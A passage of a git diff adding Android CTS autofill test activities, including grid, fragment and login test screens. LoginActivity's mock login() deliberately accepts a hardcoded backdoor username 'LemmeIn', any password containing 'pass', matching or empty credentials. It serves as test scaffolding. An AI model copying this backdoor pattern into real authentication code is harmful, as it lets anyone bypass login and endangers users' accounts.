+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.widget.TextView;
+
+public class DummyActivity extends Activity {
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        TextView text = new TextView(this);
+        text.setText("foo");
+        setContentView(text);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/DuplicateIdActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/DuplicateIdActivity.java
new file mode 100644
index 0000000..f30d3ed
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/DuplicateIdActivity.java
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+import android.os.Bundle;
+import android.util.Log;
+
+public class DuplicateIdActivity extends AbstractAutoFillActivity {
+    private static final String TAG = "DuplicateIdActivity";
+
+    public static final String DUPLICATE_ID = "duplicate_id";
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        Log.v(TAG, "onCreate(" + savedInstanceState + ")");
+
+        setContentView(R.layout.duplicate_id_layout);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/EmptyActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/EmptyActivity.java
new file mode 100644
index 0000000..26f18b4
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/EmptyActivity.java
@@ -0,0 +1,47 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+import android.app.Activity;
+import android.autofillservice.cts.R;
+import android.os.Bundle;
+import android.view.View;
+
+import androidx.annotation.Nullable;
+
+/**
+ * Empty activity
+ */
+public class EmptyActivity extends Activity {
+
+    public static final String ID_EMPTY = "empty";
+
+    private View mEmptyView;
+
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.empty);
+        mEmptyView = findViewById(R.id.empty);
+    }
+
+    public View getEmptyView() {
+        return mEmptyView;
+    }
+
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/FatActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/FatActivity.java
new file mode 100644
index 0000000..69bf8e4
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/FatActivity.java
@@ -0,0 +1,183 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+import static android.autofillservice.cts.testcore.Helper.findViewByAutofillHint;
+import static android.view.View.IMPORTANT_FOR_AUTOFILL_AUTO;
+import static android.view.View.IMPORTANT_FOR_AUTOFILL_NO;
+import static android.view.View.IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS;
+import static android.view.View.IMPORTANT_FOR_AUTOFILL_YES;
+import static android.view.View.IMPORTANT_FOR_AUTOFILL_YES_EXCLUDE_DESCENDANTS;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.Visitor;
+import android.content.Context;
+import android.os.Bundle;
+import android.util.AttributeSet;
+import android.view.View;
+import android.widget.EditText;
+import android.widget.ImageView;
+import android.widget.LinearLayout;
+
+/**
+ * An activity containing mostly widgets that should be removed from an auto-fill structure to
+ * optimize it.
+ */
+public class FatActivity extends AbstractAutoFillActivity {
+
+    public static final String ID_CAPTCHA = "captcha";
+    public static final String ID_INPUT = "input";
+    public static final String ID_INPUT_CONTAINER = "input_container";
+    public static final String ID_IMAGE = "image";
+    public static final String ID_IMPORTANT_IMAGE = "important_image";
+    public static final String ID_ROOT = "root";
+
+    public static final String ID_NOT_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS =
+            "not_important_container_excluding_descendants";
+    public static final String ID_NOT_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_CHILD =
+            "not_important_container_excluding_descendants_child";
+    public static final String ID_NOT_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_GRAND_CHILD =
+            "not_important_container_excluding_descendants_grand_child";
+
+    public static final String ID_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS =
+            "important_container_excluding_descendants";
+    public static final String ID_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_CHILD =
+            "important_container_excluding_descendants_child";
+    public static final String ID_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_GRAND_CHILD =
+            "important_container_excluding_descendants_grand_child";
+
+    public static final String ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS =
+            "not_important_container_mixed_descendants";
+    public static final String ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS_CHILD =
+            "not_important_container_mixed_descendants_child";
+    public static final String ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS_GRAND_CHILD =
+            "not_important_container_mixed_descendants_grand_child";
+
+    private LinearLayout mRoot;
+    private EditText mCaptcha;
+    private EditText mInput;
+    private ImageView mImage;
+    private ImageView mImportantImage;
+
+    private View mNotImportantContainerExcludingDescendants;
+    private View mNotImportantContainerExcludingDescendantsChild;
+    private View mNotImportantContainerExcludingDescendantsGrandChild;
+
+    private View mImportantContainerExcludingDescendants;
+    private View mImportantContainerExcludingDescendantsChild;
+    private View mImportantContainerExcludingDescendantsGrandChild;
+
+    private View mNotImportantContainerMixedDescendants;
+    private View mNotImportantContainerMixedDescendantsChild;
+    private View mNotImportantContainerMixedDescendantsGrandChild;
+
+    private MyView mViewWithAutofillHints;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.fat_activity);
+
+        mRoot = findViewById(R.id.root);
+        mCaptcha = findViewById(R.id.captcha);
+        mInput = findViewById(R.id.input);
+        mImage = findViewById(R.id.image);
+        mImportantImage = findViewById(R.id.important_image);
+
+        mNotImportantContainerExcludingDescendants = findViewById(
+                R.id.not_important_container_excluding_descendants);
+        mNotImportantContainerExcludingDescendantsChild = findViewById(
+                R.id.not_important_container_excluding_descendants_child);
+        mNotImportantContainerExcludingDescendantsGrandChild = findViewById(
+                R.id.not_important_container_excluding_descendants_grand_child);
+
+        mImportantContainerExcludingDescendants = findViewById(
+                R.id.important_container_excluding_descendants);
+        mImportantContainerExcludingDescendantsChild = findViewById(
+                R.id.important_container_excluding_descendants_child);
+        mImportantContainerExcludingDescendantsGrandChild = findViewById(
+                R.id.important_container_excluding_descendants_grand_child);
+
+        mNotImportantContainerMixedDescendants = findViewById(
+                R.id.not_important_container_mixed_descendants);
+        mNotImportantContainerMixedDescendantsChild = findViewById(
+                R.id.not_important_container_mixed_descendants_child);
+        mNotImportantContainerMixedDescendantsGrandChild = findViewById(
+                R.id.not_important_container_mixed_descendants_grand_child);
+
+        mViewWithAutofillHints = (MyView) findViewByAutofillHint(this, "importantAmI");
+        assertThat(mViewWithAutofillHints).isNotNull();
+
+        // Validation check for importantForAutofill modes
+        assertThat(mRoot.getImportantForAutofill()).isEqualTo(IMPORTANT_FOR_AUTOFILL_AUTO);
+        assertThat(mInput.getImportantForAutofill()).isEqualTo(IMPORTANT_FOR_AUTOFILL_YES);
+        assertThat(mCaptcha.getImportantForAutofill()).isEqualTo(IMPORTANT_FOR_AUTOFILL_NO);
+        assertThat(mImage.getImportantForAutofill()).isEqualTo(IMPORTANT_FOR_AUTOFILL_NO);
+        assertThat(mImportantImage.getImportantForAutofill()).isEqualTo(IMPORTANT_FOR_AUTOFILL_YES);
+
+        assertThat(mNotImportantContainerExcludingDescendants.getImportantForAutofill())
+                .isEqualTo(IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS);
+        assertThat(mNotImportantContainerExcludingDescendantsChild.getImportantForAutofill())
+                .isEqualTo(IMPORTANT_FOR_AUTOFILL_YES);
+        assertThat(mNotImportantContainerExcludingDescendantsGrandChild.getImportantForAutofill())
+                .isEqualTo(IMPORTANT_FOR_AUTOFILL_AUTO);
+
+        assertThat(mImportantContainerExcludingDescendants.getImportantForAutofill())
+                .isEqualTo(IMPORTANT_FOR_AUTOFILL_YES_EXCLUDE_DESCENDANTS);
+        assertThat(mImportantContainerExcludingDescendantsChild.getImportantForAutofill())
+                .isEqualTo(IMPORTANT_FOR_AUTOFILL_YES);
+        assertThat(mImportantContainerExcludingDescendantsGrandChild.getImportantForAutofill())
+                .isEqualTo(IMPORTANT_FOR_AUTOFILL_AUTO);
+
+        assertThat(mNotImportantContainerMixedDescendants.getImportantForAutofill())
+                .isEqualTo(IMPORTANT_FOR_AUTOFILL_NO);
+        assertThat(mNotImportantContainerMixedDescendantsChild.getImportantForAutofill())
+                .isEqualTo(IMPORTANT_FOR_AUTOFILL_YES);
+        assertThat(mNotImportantContainerMixedDescendantsGrandChild.getImportantForAutofill())
+                .isEqualTo(IMPORTANT_FOR_AUTOFILL_NO);
+
+        assertThat(mViewWithAutofillHints.getImportantForAutofill())
+                .isEqualTo(IMPORTANT_FOR_AUTOFILL_AUTO);
+        assertThat(mViewWithAutofillHints.isImportantForAutofill()).isTrue();
+    }
+
+    /**
+     * Visits the {@code input} in the UiThread.
+     */
+    public void onInput(Visitor<EditText> v) {
+        syncRunOnUiThread(() -> {
+            v.visit(mInput);
+        });
+    }
+
+    /**
+     * Custom view that defines an autofill type so autofill hints are set on {@code ViewNode}.
+     */
+    public static class MyView extends View {
+        public MyView(Context context, AttributeSet attrs) {
+            super(context, attrs);
+        }
+
+        @Override
+        public int getAutofillType() {
+            return AUTOFILL_TYPE_TEXT;
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/FragmentContainerActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/FragmentContainerActivity.java
new file mode 100644
index 0000000..a2edf71
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/FragmentContainerActivity.java
@@ -0,0 +1,98 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.Timeouts;
+import android.os.Bundle;
+import android.widget.FrameLayout;
+
+import androidx.annotation.Nullable;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Activity containing an fragment
+ */
+public class FragmentContainerActivity extends AbstractAutoFillActivity {
+    public static final String FRAGMENT_TAG =
+            FragmentContainerActivity.class.getName() + "#FRAGMENT_TAG";
+    private CountDownLatch mResumed = new CountDownLatch(1);
+    private CountDownLatch mStopped = new CountDownLatch(0);
+    private FrameLayout mRootContainer;
+
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.fragment_container);
+
+        mRootContainer = findViewById(R.id.rootContainer);
+
+        // have to manually add fragment as we cannot remove it otherwise
+        getFragmentManager().beginTransaction().add(R.id.rootContainer,
+                new FragmentWithEditText(), FRAGMENT_TAG).commitNow();
+    }
+
+    @Override
+    protected void onStart() {
+        super.onStart();
+
+        mStopped = new CountDownLatch(1);
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+
+        mResumed.countDown();
+    }
+
+    @Override
+    protected void onPause() {
+        super.onPause();
+
+        mResumed = new CountDownLatch(1);
+    }
+
+    @Override
+    protected void onStop() {
+        super.onStop();
+
+        mStopped.countDown();
+    }
+
+    /**
+     * Sets whether the root container is focusable or not.
+     *
+     * <p>It's initially set as {@code trye} in the XML layout so autofill is not automatically
+     * triggered in the edit text before the service is prepared to handle it.
+     */
+    public void setRootContainerFocusable(boolean focusable) {
+        mRootContainer.setFocusable(focusable);
+        mRootContainer.setFocusableInTouchMode(focusable);
+    }
+
+    public boolean waitUntilResumed() throws InterruptedException {
+        return mResumed.await(Timeouts.UI_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
+    }
+
+    public boolean waitUntilStopped() throws InterruptedException {
+        return mStopped.await(Timeouts.UI_TIMEOUT.ms(), TimeUnit.MILLISECONDS);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/FragmentWithEditText.java b/tests/autofillservice/src/android/autofillservice/cts/activities/FragmentWithEditText.java
new file mode 100644
index 0000000..c615854
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/FragmentWithEditText.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+import android.app.Fragment;
+import android.autofillservice.cts.R;
+import android.os.Bundle;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.ViewGroup;
+import android.widget.EditText;
+
+import androidx.annotation.Nullable;
+
+/**
+ * A fragment with containing {@link EditText}s
+ */
+public class FragmentWithEditText extends Fragment {
+    @Override
+    @Nullable
+    public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container,
+            Bundle savedInstanceState) {
+        return inflater.inflate(R.layout.fragment_with_edittext, null);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/FragmentWithMoreEditTexts.java b/tests/autofillservice/src/android/autofillservice/cts/activities/FragmentWithMoreEditTexts.java
new file mode 100644
index 0000000..a562e2b
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/FragmentWithMoreEditTexts.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.activities;
+
+import android.app.Fragment;
+import android.autofillservice.cts.R;
+import android.os.Bundle;
+import android.view.LayoutInflater;
+import android.view.View;
+import android.view.ViewGroup;
+import android.widget.EditText;
+
+import androidx.annotation.Nullable;
+
+/**
+ * A fragment with containing more {@link EditText}s
+ */
+public class FragmentWithMoreEditTexts extends Fragment {
+    @Override
+    @Nullable
+    public View onCreateView(LayoutInflater inflater, @Nullable ViewGroup container,
+            Bundle savedInstanceState) {
+        return inflater.inflate(R.layout.fragment_with_more_edittexts, null);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/GridActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/GridActivity.java
new file mode 100644
index 0000000..696810e
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/GridActivity.java
@@ -0,0 +1,194 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.Helper;
+import android.autofillservice.cts.testcore.OneTimeTextWatcher;
+import android.autofillservice.cts.testcore.Visitor;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.autofill.AutofillManager;
+import android.widget.Button;
+import android.widget.EditText;
+import android.widget.GridLayout;
+
+import com.android.compatibility.common.util.RetryableException;
+
+import java.util.ArrayList;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Activity that contains a 4x4 grid of cells (named {@code l1c1} to {@code l4c2}) plus
+ * {@code save} and {@code clear} buttons.
+ */
+public class GridActivity extends AbstractAutoFillActivity {
+
+    private static final String TAG = "GridActivity";
+    private static final int N_ROWS = 4;
+    private static final int N_COLS = 2;
+
+    public static final String ID_L1C1 = getResourceId(1, 1);
+    public static final String ID_L1C2 = getResourceId(1, 2);
+    public static final String ID_L2C1 = getResourceId(2, 1);
+    public static final String ID_L2C2 = getResourceId(2, 2);
+    public static final String ID_L3C1 = getResourceId(3, 1);
+    public static final String ID_L3C2 = getResourceId(3, 2);
+    public static final String ID_L4C1 = getResourceId(4, 1);
+    public static final String ID_L4C2 = getResourceId(4, 2);
+
+    private GridLayout mGrid;
+    private final EditText[][] mCells = new EditText[4][2];
+    private Button mSaveButton;
+    private Button mClearButton;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.grid_activity);
+
+        mGrid = findViewById(R.id.grid);
+        mCells[0][0] = findViewById(R.id.l1c1);
+        mCells[0][1] = findViewById(R.id.l1c2);
+        mCells[1][0] = findViewById(R.id.l2c1);
+        mCells[1][1] = findViewById(R.id.l2c2);
+        mCells[2][0] = findViewById(R.id.l3c1);
+        mCells[2][1] = findViewById(R.id.l3c2);
+        mCells[3][0] = findViewById(R.id.l4c1);
+        mCells[3][1] = findViewById(R.id.l4c2);
+        mSaveButton = findViewById(R.id.save);
+        mClearButton = findViewById(R.id.clear);
+
+        mSaveButton.setOnClickListener((v) -> save());
+        mClearButton.setOnClickListener((v) -> resetFields());
+    }
+
+    public void save() {
+        getSystemService(AutofillManager.class).commit();
+    }
+
+    public void resetFields() {
+        for (int i = 0; i < N_ROWS; i++) {
+            for (int j = 0; j < N_COLS; j++) {
+                mCells[i][j].setText("");
+            }
+        }
+        getSystemService(AutofillManager.class).cancel();
+    }
+
+    public EditText getCell(int row, int column) {
+        return mCells[row - 1][column - 1];
+    }
+
+    public static String getResourceId(int line, int col) {
+        return "l" + line + "c" + col;
+    }
+
+    public void onCell(int row, int column, Visitor<EditText> v) {
+        final EditText cell = getCell(row, column);
+        syncRunOnUiThread(() -> v.visit(cell));
+    }
+
+    public void focusCell(int row, int column) {
+        onCell(row, column, EditText::requestFocus);
+    }
+
+    public void clearCell(int row, int column) {
+        onCell(row, column, (c) -> c.setText(""));
+    }
+
+    public void setText(int row, int column, String text) {
+        onCell(row, column, (c) -> c.setText(text));
+    }
+
+    public void forceAutofill(int row, int column) {
+        onCell(row, column, (c) -> getAutofillManager().requestAutofill(c));
+    }
+
+    public void removeCell(int row, int column) {
+        onCell(row, column, (c) -> mGrid.removeView(c));
+    }
+
+    public void addCell(int row, int column, EditText cell) {
+        mCells[row - 1][column - 1] = cell;
+        // TODO: ideally it should be added in the right place...
+        syncRunOnUiThread(() -> mGrid.addView(cell));
+    }
+
+    public void triggerAutofill(boolean manually, int row, int column) {
+        if (manually) {
+            forceAutofill(row, column);
+        } else {
+            focusCell(row, column);
+        }
+    }
+
+    public String getText(int row, int column) throws InterruptedException {
+        final long timeoutMs = 100;
+        final BlockingQueue<String> queue = new LinkedBlockingQueue<>(1);
+        onCell(row, column, (c) -> Helper.offer(queue, c.getText().toString(), timeoutMs));
+        final String text = queue.poll(timeoutMs, TimeUnit.MILLISECONDS);
+        if (text == null) {
+            throw new RetryableException("text not set in " + timeoutMs + "ms");
+        }
+        return text;
+    }
+
+    public FillExpectation expectAutofill() {
+        return new FillExpectation();
+    }
+
+    public void dumpCells() {
+        final StringBuilder output = new StringBuilder("dumpCells():\n");
+        for (int i = 0; i < N_ROWS; i++) {
+            for (int j = 0; j < N_COLS; j++) {
+                final String id = getResourceId(i + 1, j + 1);
+                final String value = mCells[i][j].getText().toString();
+                output.append('\t').append(id).append("='").append(value).append("'\n");
+            }
+        }
+        Log.d(TAG, output.toString());
+    }
+
+    public final class FillExpectation {
+
+        private final ArrayList<OneTimeTextWatcher> mWatchers = new ArrayList<>();
+
+        public FillExpectation onCell(int line, int col, String value) {
+            final String resourceId = getResourceId(line, col);
+            final EditText cell = getCell(line, col);
+            final OneTimeTextWatcher watcher = new OneTimeTextWatcher(resourceId, cell, value);
+            mWatchers.add(watcher);
+            cell.addTextChangedListener(watcher);
+            return this;
+        }
+
+        public void assertAutoFilled() throws Exception {
+            try {
+                for (int i = 0; i < mWatchers.size(); i++) {
+                    final OneTimeTextWatcher watcher = mWatchers.get(i);
+                    watcher.assertAutoFilled();
+                }
+            } catch (AssertionError | Exception e) {
+                dumpCells();
+                throw e;
+            }
+        }
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/InitializedCheckoutActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/InitializedCheckoutActivity.java
new file mode 100644
index 0000000..0b153d2
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/InitializedCheckoutActivity.java
@@ -0,0 +1,26 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import android.autofillservice.cts.R;
+
+public class InitializedCheckoutActivity extends CheckoutActivity {
+
+    @Override
+    protected int getContentView() {
+        return R.layout.initialized_checkout_activity;
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/activities/LoginActivity.java b/tests/autofillservice/src/android/autofillservice/cts/activities/LoginActivity.java
new file mode 100644
index 0000000..af44058
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/activities/LoginActivity.java
@@ -0,0 +1,383 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.activities;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.R;
+import android.autofillservice.cts.testcore.OneTimeTextWatcher;
+import android.autofillservice.cts.testcore.Visitor;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+import android.text.TextUtils;
+import android.util.Log;
+import android.view.View;
+import android.view.View.OnClickListener;
+import android.view.ViewGroup;
+import android.view.inputmethod.InputMethodManager;
+import android.widget.Button;
+import android.widget.EditText;
+import android.widget.LinearLayout;
+import android.widget.TextView;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Activity that has the following fields:
+ *
+ * <ul>
+ *   <li>Username EditText (id: username, no input-type)
+ *   <li>Password EditText (id: "username", input-type textPassword)
+ *   <li>Clear Button
+ *   <li>Save Button
+ *   <li>Login Button
+ * </ul>
+ */
+public class LoginActivity extends AbstractAutoFillActivity {
+
+    private static final String TAG = "LoginActivity";
+    private static final long LOGIN_TIMEOUT_MS = 1000;
+
+    public static final String ID_USERNAME_CONTAINER = "username_container";
+    public static final String AUTHENTICATION_MESSAGE = "Authentication failed. D'OH!";
+    public static final String BACKDOOR_USERNAME = "LemmeIn";
+    public static final String BACKDOOR_PASSWORD_SUBSTRING = "pass";
+
+    private static String sWelcomeTemplate = "Welcome to the new activity, %s!";
+
+    private static LoginActivity sCurrentActivity;
+
+    private LinearLayout mUsernameContainer;
+    private TextView mUsernameLabel;
+    private EditText mUsernameEditText;
+    private TextView mPasswordLabel;
+    private EditText mPasswordEditText;
+    private TextView mOutput;
+    private Button mLoginButton;
+    private Button mSaveButton;
+    private Button mCancelButton;
+    private Button mClearButton;
+    private FillExpectation mExpectation;
+
+    // State used to synchronously get the result of a login attempt.
+    private CountDownLatch mLoginLatch;
+    private String mLoginMessage;
+
+    /**
+     * Gets the expected welcome message for a given username.
+     */
+    public static String getWelcomeMessage(String username) {
+        return String.format(sWelcomeTemplate,  username);
+    }
+
+    /**
+     * Gests the latest instance.
+     *
+     * <p>Typically used in test cases that rotates the activity
+     */
+    @SuppressWarnings("unchecked") // Its up to caller to make sure it's setting the right one
+    public static <T extends LoginActivity> T getCurrentActivity() {
+        return (T) sCurrentActivity;
+    }
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(getContentView());
+
+        mUsernameContainer = findViewById(R.id.username_container);
+        mLoginButton = findViewById(R.id.login);
+        mSaveButton = findViewById(R.id.save);
+        mClearButton = findViewById(R.id.clear);
+        mCancelButton = findViewById(R.id.cancel);
+        mUsernameLabel = findViewById(R.id.username_label);
+        mUsernameEditText = findViewById(R.id.username);
+        mPasswordLabel = findViewById(R.id.password_label);
+        mPasswordEditText = findViewById(R.id.password);
+        mOutput = findViewById(R.id.output);
+
+        mLoginButton.setOnClickListener((v) -> login());
+        mSaveButton.setOnClickListener((v) -> save());
+        mClearButton.setOnClickListener((v) -> {
+            mUsernameEditText.setText("");
+            mPasswordEditText.setText("");
+            mOutput.setText("");
+            getAutofillManager().cancel();
+        });
+        mCancelButton.setOnClickListener((OnClickListener) v -> finish());
+
+        sCurrentActivity = this;
+    }
+
+    protected int getContentView() {
+        return R.layout.login_activity;
+    }
+
+    /**
+     * Emulates a login action.
+     */
+    private void login() {
+        final String username = mUsernameEditText.getText().toString();
+        final String password = mPasswordEditText.getText().toString();
+        final boolean valid = username.equals(password)
+                || (TextUtils.isEmpty(username) && TextUtils.isEmpty(password))
+                || password.contains(BACKDOOR_PASSWORD_SUBSTRING)
+                || username.equals(BACKDOOR_USERNAME);
+
+        if (valid) {
+            Log.d(TAG, "login ok: " + username);
+            final Intent intent = new Intent(this, WelcomeActivity.class);
+            final String message = getWelcomeMessage(username);
+            intent.putExtra(WelcomeActivity.EXTRA_MESSAGE, message);
+            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            setLoginMessage(message);
+            startActivity(intent);
+            finish();
+        } else {
+            Log.d(TAG, "login failed: " + AUTHENTICATION_MESSAGE);
+            mOutput.setText(AUTHENTICATION_MESSAGE);
+            setLoginMessage(AUTHENTICATION_MESSAGE);
+        }
+    }
+
+    private void setLoginMessage(String message) {
+        Log.d(TAG, "setLoginMessage(): " + message);
+        if (mLoginLatch != null) {
+            mLoginMessage = message;
+            mLoginLatch.countDown();
+        }
+    }
+
+    /**
+     * Explicitly forces the AutofillManager to save the username and password.
+     */
+    private void save() {
+        final InputMethodManager imm = (InputMethodManager) getSystemService(
+                Context.INPUT_METHOD_SERVICE);
+        imm.hideSoftInputFromWindow(mUsernameEditText.getWindowToken(), 0);
+        getAutofillManager().commit();
+    }
+
+    /**
+     * Sets the expectation for an autofill request (for all fields), so it can be asserted through
